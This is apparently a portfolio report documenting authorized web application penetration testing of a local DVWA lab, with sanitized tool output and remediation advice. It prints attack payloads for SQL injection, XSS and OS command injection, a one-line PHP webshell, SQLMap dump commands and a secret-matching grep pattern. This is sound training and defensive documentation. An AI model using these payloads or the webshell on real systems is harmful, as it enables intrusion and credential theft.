WEB APPLICATION VAPT

Professional Tools Output Report

Enterprise Security Assessment Lab

Field	Details
Prepared By	Jagriti Banerjee
GitHub Username	Jazz00001
Repository	Enterprise-Security-Assessment-Lab
Module	Sub-Project 1 - Web Application VAPT
Target Environment	DVWA / Local Vulnerable Web Application Lab
Document Purpose	Sanitized tool output documentation for GitHub portfolio and recruiter review
Testing Boundary	Authorized local lab only - no public or third-party systems tested

Ethical Scope

All command examples and output samples in this PDF are sanitized and intended only to document authorized lab testing. Sensitive values such as cookies, hashes, cracked passwords, database dumps, and shell paths must be redacted before GitHub upload.

Generated for professional portfolio documentation

Table of Contents

1. Executive Overview

This document provides a detailed, professional, and sanitized tool output report for the Web Application VAPT module of the Enterprise Security Assessment Lab. It converts raw terminal-style evidence into a recruiter-friendly technical document that explains what each tool was used for, what the observed output means, why the result matters, and how the issue would be remediated in a real environment.

The report is based on the Web VAPT work already completed in the project: Kali Linux setup, Docker-based vulnerable target deployment, DVWA access validation, Nmap scanning, Gobuster enumeration, Nikto scanning, WhatWeb fingerprinting, Burp Suite request interception, SQL Injection validation, SQLMap database enumeration, John the Ripper hash cracking, Reflected and Stored XSS validation, OS Command Injection testing, file upload/webshell confirmation, and CSRF proof.

> **Portfolio Positioning**
>
> This document is intentionally more polished than raw tool logs. It shows methodology, interpretation, impact, remediation knowledge, and disciplined evidence handling - the qualities recruiters expect in a professional security portfolio.

1.1 Report Boundaries

This report does not claim testing against real public websites, client applications, or production systems. It documents authorized testing in a private intentionally vulnerable lab environment. Sample outputs are sanitized and written in a professional format so they can be safely published to GitHub.

1.2 Web VAPT Workflow Covered

- Kali Linux assessment environment validation.
- Docker vulnerable target deployment validation.
- DVWA browser access confirmation.
- Tool installation and version verification.
- Nmap port and service discovery.
- Gobuster directory and file enumeration.
- Nikto web vulnerability scanning.
- WhatWeb technology fingerprinting.
- Burp Suite HTTP request interception and Repeater validation.
- Manual SQL Injection validation.
- SQLMap database enumeration and users table impact validation.
- John the Ripper weak hash cracking demonstration.
- Reflected XSS and Stored XSS validation.
- OS Command Injection validation.
- File upload and webshell-style validation.
- CSRF forged request proof.
- Evidence mapping, redaction, and GitHub safety review.

2. Web VAPT Workflow and Output Philosophy

A professional penetration testing report should not simply paste raw tool output. Raw output is difficult for reviewers to understand and may expose secrets. Instead, each tool result should be translated into a structured finding or evidence note with context, interpretation, and remediation guidance.

This document uses a consistent format for every tool: purpose, command, sanitized output sample, interpretation, security significance, evidence screenshot, and remediation guidance. This improves readability and helps reviewers understand both the technical process and the security reasoning behind it.

Reporting Element	Professional Purpose
Tool Purpose	Explains why the tool was used and where it fits in the testing workflow.
Command Executed	Shows reproducibility without exposing sensitive data.
Sanitized Output	Demonstrates what the result looked like while protecting secrets.
Interpretation	Explains what the output means from a security perspective.
Evidence Mapping	Connects the output to an existing screenshot in the GitHub repository.
Remediation	Shows that the tester understands how to fix the issue, not only how to find it.

Important

Screenshots should be treated as evidence, but raw output should be treated as potentially sensitive. If tool output contains cookies, hashes, tokens, database records, or shell paths, upload only redacted summaries or sanitized excerpts.

3. Tools Output Index

#	Tool / Technique	Purpose	Evidence Screenshot
1	Kali Linux	Testing environment setup	01-kali-linux-desktop-full-screen.png
2	Docker	Vulnerable target deployment	02-docker-containers-running.png
3	Browser / DVWA	Target access validation	03-dvwa-login-page-browser.png
4	Tool Version Check	Confirm required tools	04-tools-installed-version-check.png
5	Nmap	Port and service discovery	05-nmap-full-port-scan-output.png
6	Gobuster	Directory and file enumeration	06-gobuster-directory-results.png
7	Nikto	Web vulnerability scanning	07-nikto-scan-findings.png
8	WhatWeb	Technology fingerprinting	08-whatweb-tech-fingerprint-p1.png
9	Burp Suite	Manual HTTP request analysis	13-burp-intercepted-request.png
10	SQLi Manual Test	Injection validation	09-dvwa-sqli-vulnerable-input-response.png
11	SQLMap	Database enumeration	10-sqlmap-database-enumeration.png
12	John the Ripper	Hash cracking	07-john-md5-hashes-cracked.png
13	Reflected XSS	Browser-side injection validation	15-reflected-xss-alert-popup.png
14	Stored XSS	Persistent script validation	16-stored-xss-payload-source.png
15	Command Injection	OS command execution validation	17-command-injection-id-whoami-output.png
16	File Upload / Webshell	Upload-to-execution validation	18-file-upload-webshell-confirmed-p1.png
17	CSRF	Forged request proof	19-csrf-forged-request-proof.png

4. Lab Environment Validation Outputs

4.1 Kali Linux Environment Output

Kali Linux was used as the main security testing environment. The Kali environment provides a standardized toolset for reconnaissance, enumeration, web testing, exploitation validation inside labs, and evidence collection.

```
Evidence Screenshot:
01-kali-linux-desktop-full-screen.png

Professional Interpretation:
The screenshot confirms that the Web VAPT assessment was performed from a dedicated security testing environment rather th
```

Security value: a dedicated testing environment improves repeatability, tool consistency, controlled testing, and evidence organization.

4.2 Docker Target Deployment Output

Docker was used to host the vulnerable web application locally. This allowed the assessment to be performed safely against a system designed for security training.

```
Example command:
docker ps

Sanitized output style:
CONTAINER ID   IMAGE                  PORTS                    NAMES
<REDACTED>     vulnerables/web-dvwa   0.0.0.0:8081->80/tcp     lab-dvwa
```

Evidence screenshot: 02-docker-containers-running.png. In a professional report, this evidence proves that the target was self-hosted, isolated, and intentionally vulnerable.

4.3 DVWA Browser Access Validation

The target application was accessed through the browser to confirm that the application was reachable and rendering correctly before deeper testing began.

```
Evidence Screenshot:
03-dvwa-login-page-browser.png

Validation result:
The DVWA login page loaded successfully, confirming HTTP accessibility and target readiness.
```

This step is important because command-line scans are only meaningful when the target is actually reachable and functioning. Browser validation also confirms that manual testing and Burp Suite proxy testing can proceed.

4.4 Tool Version Verification Output

Tool version checks were performed before testing to confirm that the required Web VAPT tools were installed and usable.

```
Example version-check commands:
nmap --version
gobuster version
nikto -Version
whatweb --version
sqlmap --version
john --version
docker --version
curl --version
```

Evidence screenshots: 04-tools-installed-version-check.png and installed.png. This shows tool readiness and improves the credibility of the assessment.

5. Reconnaissance and Enumeration Outputs

5.1 Nmap Port and Service Discovery

Nmap was used to identify exposed ports and services. This is one of the first technical steps in a Web VAPT assessment because it defines what is externally reachable on the target host.

```
Example command:
nmap -sV -sC -A -p- 127.0.0.1 -oN nmap-full-port-scan-output.txt

Option explanation:
-sV  Detect service versions
-sC  Run default NSE scripts
-A   Enable OS detection, version detection, script scanning, traceroute
-p-  Scan all 65,535 TCP ports
-oN  Save normal output to a file
```

```
Sanitized output example:
Starting Nmap scan against authorized lab target
Host is up.

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd
8081/tcp open  http    Apache httpd / DVWA lab service

Service detection performed.
Nmap scan report generated successfully.
```

Professional interpretation: Nmap confirmed that the target web service was reachable and exposed over HTTP. In a real environment, this output would help identify unnecessary open ports, service banners, unsupported protocols, and exposed management interfaces.

Evidence	Security Significance	Recommended Real-World Remediation
05-nmap-full-port-scan-output.png	Defines the visible attack surface and confirms reachable web services.	Close unused ports, restrict administrative interfaces, keep services updated, and perform regular asset discovery.

5.2 Gobuster Directory and File Enumeration

Gobuster was used to discover hidden directories and files. Directory enumeration helps identify paths that are not linked through the normal user interface but may still be accessible.

```
Example command:
gobuster dir
  -u http://127.0.0.1:8081
  -w /usr/share/wordlists/dirb/common.txt
  -x php,html,txt,bak,zip
  -o gobuster-directory-results.txt
```

```
Sanitized output example:
/index.php          (Status: 200)
/login.php          (Status: 200)
/setup.php          (Status: 200)
/security.php       (Status: 200)
/vulnerabilities/   (Status: 301)
/phpinfo.php        (Status: 200)
/robots.txt         (Status: 200)

Enumeration completed.
```

Professional interpretation: Gobuster identified accessible web paths. In DVWA these paths are expected, but in a real application exposed setup pages, phpinfo pages, backup files, or administrative paths can significantly increase risk.

Evidence	What It Proves	Security Action
06-gobuster-directory-results.png; 06-gobuster-directory-results(M).png; Directory-&-File-Enumeration-with-Gobuster.png	Directory and file enumeration was performed and application paths were identified.	Remove unused files, disable setup pages, restrict sensitive paths, and prevent exposure of debug files.

6. Vulnerability Scanning and Fingerprinting Outputs

6.1 Nikto Web Vulnerability Scan

Nikto was used to identify common web server issues such as missing headers, default files, insecure cookie flags, and potential information disclosure. Nikto results should always be treated as leads and manually reviewed before being reported as vulnerabilities.

```
Example command:
nikto -h http://127.0.0.1:8081 -o nikto-scan-findings.txt

Sanitized output example:
+ Server may disclose version information.
+ Missing X-Frame-Options header.
+ Missing X-Content-Type-Options header.
+ Cookie may not include HttpOnly flag.
+ Cookie may not include Secure flag.
+ phpinfo.php style information disclosure page identified.
+ Default or test files may be accessible.
```

Evidence screenshot: 07-nikto-scan-findings.png. Professional interpretation: the scan helped identify configuration weaknesses and areas requiring manual validation.

- Add security headers.
- Disable verbose server banners.
- Remove default/debug files.
- Set cookies with HttpOnly, Secure, and SameSite.
- Patch web server and application components.

6.2 WhatWeb Technology Fingerprinting

WhatWeb was used to fingerprint web technologies, server headers, cookies, scripting language indicators, and page metadata. Fingerprinting helps guide testing and remediation planning.

```
Example command:
whatweb http://127.0.0.1:8081

Sanitized output example:
http://127.0.0.1:8081 [200 OK]
Apache
PHP
Cookies detected
HTTPServer header detected
Title: DVWA
X-Powered-By header observed
```

Evidence screenshots: 08-whatweb-tech-fingerprint-p1.png through 08-whatweb-tech-fingerprint-p4.png. In a real environment, fingerprinting helps identify outdated technologies and unnecessary disclosure.

- Remove X-Powered-By headers.
- Limit verbose server banners.
- Keep web frameworks and server components updated.
- Avoid detailed error pages.

- Review exposed headers as part of hardening.

7. Manual HTTP Testing Outputs

7.1 Burp Suite Intercepted Request

Burp Suite was used to intercept HTTP requests and inspect parameters, cookies, methods, and headers. This is a key step for manual validation because it gives the tester direct control over request manipulation.

```
Sanitized intercepted request example:
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=<REDACTED_SESSION>; security=low
Accept: text/html
Connection: close
```

Evidence screenshot: 13-burp-intercepted-request.png. The request shows an injection point in a GET parameter and a session context through cookies.

> **Redaction Reminder**
>
> Before uploading Burp screenshots, redact PHPSESSID, Cookie headers, Authorization headers, tokens, private usernames, and any sensitive request values.

7.2 Burp Repeater Modified Request

Burp Repeater was used to modify and resend requests. This allows the tester to validate how the application responds to controlled input changes without relying only on automated tools.

```
Example modified request:
GET /vulnerabilities/sqli/?id=1%27%20OR%20%271%27=%271&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<REDACTED_SESSION>; security=low

Interpretation:
The modified request changed the application response and supported manual injection validation.
```

Evidence screenshot: 14-burp-repeater-modified-request-response.png. This evidence demonstrates manual testing ability, not just automated scanning.

8. Injection and Database Impact Outputs

8.1 Manual SQL Injection Validation

Manual SQL Injection testing was performed before SQLMap to confirm that the parameter was actually vulnerable. This is a professional practice because automated tools should validate impact, not replace manual reasoning.

```
Example payload:
1' OR '1'='1

Sanitized observed result:
Application returned multiple database-backed records instead of only one expected record.

Conclusion:
SQL Injection behaviour validated in the authorized DVWA lab.
```

Evidence	Risk in Real Environment	Recommended Remediation
09-dvwa-sqli-vulnerable-input-response.png	Authentication bypass, database extraction, credential exposure, data modification, and application compromise.	Use parameterized queries, prepared statements, server-side validation, least-privileged database accounts, and disable verbose SQL errors.

8.2 SQLMap Database Enumeration

SQLMap was used after manual validation to demonstrate the impact of the SQL Injection vulnerability in the controlled lab. The tool was used to enumerate databases and validate database-level exposure.

```
Example command:
sqlmap -u "http://127.0.0.1:8081/vulnerabilities/sqli/?id=1&Submit=Submit"   --cookie="PHPSESSID=<REDACTED_SESSION>; secur

Sanitized output example:
[INFO] GET parameter 'id' appears to be injectable
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names

available databases:
[*] information_schema
[*] dvwa
```

Evidence screenshot: 10-sqlmap-database-enumeration.png. Professional interpretation: SQLMap confirmed that the injection could expose database structure.

8.3 SQLMap Users Table Dump

SQLMap was also used to dump the users table in the DVWA lab. This demonstrated how SQL Injection could escalate from a simple input flaw to credential exposure.

```
Example command:
sqlmap -u "<TARGET_URL>"   --cookie="PHPSESSID=<REDACTED_SESSION>; security=low"   -D dvwa -T users --dump --batch

Sanitized output example:
Database: dvwa
Table: users

+---------+------------------+---------------------+
| user_id | user             | password_hash       |
+---------+------------------+---------------------+
| 1       | <REDACTED_USER>  | <REDACTED_HASH>     |
| 2       | <REDACTED_USER>  | <REDACTED_HASH>     |
+---------+------------------+---------------------+
```

Evidence Handling

Database dumps, usernames, password hashes, cracked passwords, and local file paths must be redacted before publishing. The GitHub version should show proof of testing without exposing raw sensitive data.

Evidence screenshot: 11-sqlmap-users-table-dump.png.

9. Credential and Hash Cracking Outputs

9.1 John the Ripper Hash Cracking

John the Ripper was used to demonstrate the risk of weak password hashes after the users table was dumped in the lab. This phase shows how a database-level issue can lead to credential recovery.

```
Example commands:
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hashes.txt

Sanitized output example:
Loaded password hashes.
Proceeding with wordlist mode.

<REDACTED_USER>:<REDACTED_PASSWORD>

Weak hash successfully cracked in lab.
```

Evidence	Security Significance	Recommended Remediation
07-john-md5-hashes-cracked.png	Weak hashing and weak passwords can convert database exposure into account takeover.	Use Argon2, bcrypt, or PBKDF2 with unique salts; enforce strong password policy; rotate exposed credentials.

10. Cross-Site Scripting Validation Outputs

10.1 Reflected XSS Output

Reflected XSS testing was performed to validate whether user input was reflected into the response without proper output encoding.

```
Example payload:
<script>alert('lab')</script>

Sanitized observed result:
The browser executed a JavaScript alert in the lab page.

Conclusion:
Reflected XSS validated in DVWA lab.
```

Evidence	Real-World Impact	Remediation
15-reflected-xss-alert-popup.png; 15-reflected-xss-alert-popup-p2.png	Phishing, browser-based attacks, malicious redirects, and session theft if cookies are exposed.	Encode output by context, sanitize input, use Content Security Policy, and set cookies with HttpOnly and SameSite.

10.2 Stored XSS Output

Stored XSS testing was performed to confirm whether a malicious payload could be stored by the application and rendered later. Stored XSS is generally more serious because it persists and can affect multiple users.

```
Example payload:
<script>alert('stored-lab')</script>

Sanitized observed result:
Payload was saved by the application and rendered in the page source.

Conclusion:
Stored XSS validated in lab.
```

Evidence screenshot: 16-stored-xss-payload-source.png. Remediation includes sanitizing stored input, encoding output at render time, using safe templating engines, applying CSP, and validating input length/type.

11. OS Command Injection Output

OS Command Injection testing was performed to validate whether user input was passed into operating system commands insecurely. In the lab, identity commands such as id and whoami were used as safe proof of execution.

```
Example payloads:
127.0.0.1; id
127.0.0.1; whoami

Sanitized observed result:
uid=<REDACTED> gid=<REDACTED> groups=<REDACTED>
<REDACTED_WEB_SERVER_USER>

Conclusion:
OS command injection validated in the DVWA lab.
```

Evidence	Real-World Impact	Recommended Remediation
17-command-injection-id-whoami-output .png	Arbitrary command execution, file disclosure, reverse shell access, server compromise, and lateral movement.	Avoid shell execution with user input, use safe APIs, apply strict allowlists, run services with least privilege, and monitor process execution.

12. File Upload / Webshell Validation Output

File upload testing was performed to validate whether executable content could be uploaded and accessed through the web application. The lab demonstrated webshell-style execution in a controlled environment.

```
Example webshell concept:
<?php system($_GET["cmd"]); ?>

Sanitized observed result:
Uploaded file: <REDACTED_FILE_NAME>
Accessed uploaded file through browser/curl.
Command execution behaviour confirmed in lab.

Conclusion:
Insecure upload / webshell-style execution validated.
```

Evidence	Real-World Impact	Recommended Remediation
18-file-upload-webshell-confirmed-p1.png; 18-file-upload-webshell-confirmed-p2.png	Remote code execution, data theft, persistence, defacement, server compromise, and lateral movement.	Restrict allowed extensions, validate MIME/content, rename files, store outside web root, disable script execution in upload directories, and scan uploads.

13. CSRF Forged Request Output

CSRF testing was performed to validate whether a state-changing action could be triggered through a forged request while a user was authenticated.

```
Sanitized observed result:
A forged request was prepared in the lab.
The application accepted the request while authenticated.

Conclusion:
CSRF behaviour validated in DVWA lab.
```

Evidence	Real-World Impact	Recommended Remediation
19-csrf-forged-request-proof.png	Unwanted account changes, sensitive action abuse, setting modification, or forced requests from authenticated sessions.	Use anti-CSRF tokens, SameSite cookies, Origin/Referer validation, and re-authentication for sensitive actions.

14. Professional Output Interpretation Matrix

Tool / Test	Observed Output	Security Meaning	Defensive Action
Nmap	Open web service detected	Defines attack surface	Close unused services and restrict exposed ports
Gobuster	Hidden paths discovered	May expose sensitive files or admin paths	Remove unused files and restrict sensitive routes
Nikto	Header and config weaknesses	Misconfiguration and disclosure risk	Harden headers and remove debug/default files
WhatWeb	Technology details disclosed	Fingerprinting helps attackers tune payloads	Reduce unnecessary technology disclosure
Burp	Request parameters identified	Input points can be tested manually	Validate input server-side and protect sessions
SQLMap	Database enumeration possible	Database compromise risk	Fix SQLi and restrict database privileges
John	Weak hash cracked	Credential recovery risk	Use strong password hashing and rotate exposed credentials
XSS	Script execution in browser	Client-side compromise risk	Encode output and apply CSP
Command Injection	OS command execution	Server compromise risk	Avoid shell execution with user input
File Upload	Executable upload confirmed	Remote code execution risk	Restrict and isolate upload handling
CSRF	Forged request accepted	Authenticated action abuse	Use CSRF tokens and SameSite cookies

15. GitHub Redaction and Commit Safety

Tool outputs and screenshots must be reviewed before GitHub upload. Security projects often contain sensitive values even when they are lab-based. A professional portfolio should prove capability without exposing dangerous raw artifacts.

Sensitive Item	Where It May Appear	Action Before Upload
PHPSESSID / cookies	Burp, curl, browser screenshots	Blur or replace with <REDACTED_SESSION>
Password hashes	SQLMap dumps, John input files	Blur or replace with <REDACTED_HASH>
Cracked passwords	John output, notes, screenshots	Do not publish plaintext values
Database dumps	SQLMap output	Crop, blur, or summarize only
Webshell filenames	File upload screenshots, terminal output	Redact if reusable or sensitive
Local usernames/paths	Terminal screenshots	Blur if personal/private
Authorization headers	Burp requests	Redact completely

```
Recommended pre-commit check:
git status
git diff --cached

git diff --cached | grep -iE "password|secret|token|hash|cookie|PHPSESSID|authorization|bearer"
```

Commit Rule

If a file contains raw credentials, raw hashes, live cookies, tokens, database dumps, or exploit source files, do not upload it. Upload a sanitized summary or a redacted screenshot instead.

16. Recommended Folder Structure and README Links

The tool-output summary should be stored inside the Web VAPT module so that it supports the README and report documents.

```
01-web-vapt/
|-- README.md
|-- screenshots/
|-- tool-outputs/
|   |-- web-vapt-tools-output-summary.md
|   |-- nmap-full-port-scan-output.txt
|   |-- gobuster-directory-results.txt
|   |-- nikto-scan-findings.txt
|   |-- whatweb-tech-fingerprint.txt
|   `-- redacted-output-notes.md
|-- reports/
`-- scripts/
```

Suggested README link:

```
## Web VAPT Tool Outputs

| Document | Link |
|---|---|
| Professional Tool Output Summary | [Open Tool Output Summary](./tool-outputs/web-vapt-tools-output-summary.md) |
```

17. Final Portfolio Summary

The Web VAPT tool outputs demonstrate a complete web assessment workflow from environment setup to vulnerability validation and professional reporting. The project does not simply show screenshots; it explains the reasoning behind every tool and connects tool output to risk and remediation.

This document strengthens the GitHub repository because it shows professional reporting discipline, redaction awareness, practical tool usage, manual validation skill, and the ability to translate raw findings into business-readable security documentation.

Capability Demonstrated	Evidence in This Report
Reconnaissance methodology	Nmap, Gobuster, WhatWeb, Nikto sections
Manual validation skill	Burp Suite, SQLi, XSS, Command Injection sections
Impact validation	SQLMap, users table dump, John cracking sections
Professional reporting	Interpretation matrix, remediation guidance, evidence mapping
Secure publishing discipline	Redaction and commit safety section

End of Report

All testing documented in this PDF was performed in a private authorized lab environment. The document is designed as a sanitized professional portfolio artifact for GitHub.